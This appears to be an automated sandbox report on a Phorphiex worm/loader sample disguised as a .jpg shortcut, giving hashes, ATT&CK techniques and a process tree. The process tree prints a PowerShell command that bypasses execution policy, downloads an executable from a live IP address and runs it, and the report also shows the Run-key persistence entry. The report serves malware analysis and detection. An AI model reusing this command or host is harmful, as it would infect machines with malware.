phorphiex | b8dd2c924604e8d4cac9a235cee2bf49a375727438f705a0028d0c89b7f9f1b7

Analysis

max time kernel
148s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/08/2026, 18:24

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General

Target
PIC0402023/PIC0402023.jpg.lnk
Size 1KB
Sample260826-w2fr2avanf
SHA256 b8dd2c924604e8d4cac9a235cee2bf49a375727438f705a0028d0c89b7f9f1b7
MD5 448be7157573263a2d414663a983394b
SHA1 1c14b51f2509deca4cb567b235ba174d05e51cea
SHA512 aa4d680eee8a181d022a4c9d4e71589286053142e9477eff8c21a5c2a9f52ace0226638fa217e214f766a33479505e7a322a293dac01a556ddedcbf86e684b45
TLSH
T1FE4100121BD64724E2F94E35ECBFE3119A657C1AEF128F6D1081A65818A16089C68F3E
MD5 SHA1 SHA512 TLSH

Score

10^/10

discovery execution phorphiex loader persistence trojan worm

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://178.16.54.109/getit.exe

Extracted

Family

phorphiex

http://178.16.54.109

Signatures

Family: Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3088	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
4	3088	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5824	windrv.exe
2328	winsvc.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Service = "C:\\Users\\Admin\\winsvc.exe"	windrv.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3088	powershell.exe
3088	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5396	cmd.exe
3760	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	windrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winsvc.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3088	powershell.exe
3088	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3088	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5396 wrote to memory of 3760	5396	cmd.exe	90
PID 3760 wrote to memory of 3088	3760	cmd.exe	91
PID 3088 wrote to memory of 5824	3088	powershell.exe	92
PID 5824 wrote to memory of 2328	5824	windrv.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PIC0402023\PIC0402023.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell.exe ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://178.16.54.109/getit.exe','C:\Users\Admin\windrv.exe');Start-Process 'C:\Users\Admin\windrv.exe'
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://178.16.54.109/getit.exe','C:\Users\Admin\windrv.exe');Start-Process 'C:\Users\Admin\windrv.exe'
    3⤵
    - Badlisted process makes network request
    - Downloads MZ/PE file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3088
  - - C:\Users\Admin\windrv.exe
      "C:\Users\Admin\windrv.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5824
    - - C:\Users\Admin\winsvc.exe
        
        C:\Users\Admin\winsvc.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2328

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

windrv.exe

Path C:\Users\Admin\windrv.exe
Size 11KB
SHA256 875bbdff1d3a5f2413334cae7041d32158d4557bf6744e09fbdb925068f23e9e
MD5 228475a43ae74067330efd4e72cfd560
SHA1 d972967fc85882c92b2c7a28a4c446754d82329e
SHA512 af93ded90304ffe1249de9453fc9b25c33bf023b5d38078354accd9c535dc4806c06af18f4076127266a7c977a60ca3f432f0e0910ce7dea73b32ff80a6372c7
SSDEEP 192:mamsGa8mycrcgOPpAhg4CEJJlMLkWScZqGaiPC:OsGa89wOP+hFJMQWSc74
TLSH
T175322A0BAC948112E3F04CB019B1929F47BD69732B6662DFF3B3D64B5B707518520BEA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3088-14-0x000002043E7C0000-0x000002043E872000-memory.dmp

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memory/3088-16-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

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memory/3088-5-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

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memory/3088-6-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

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memory/3088-7-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

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memory/3088-8-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

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memory/3088-13-0x000002043E7A0000-0x000002043E7BE000-memory.dmp

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memory/3088-0-0x00007FFEE26EF000-0x00007FFEE26F0000-memory.dmp

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memory/3088-4-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

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memory/3088-10-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

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memory/3088-15-0x000002043E790000-0x000002043E79A000-memory.dmp

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memory/3088-17-0x000002043E8A0000-0x000002043E8BE000-memory.dmp

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memory/3088-18-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

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memory/3088-19-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

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memory/3088-20-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

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memory/3088-21-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

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memory/3088-3-0x000002043E2C0000-0x000002043E2E2000-memory.dmp

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memory/3088-30-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

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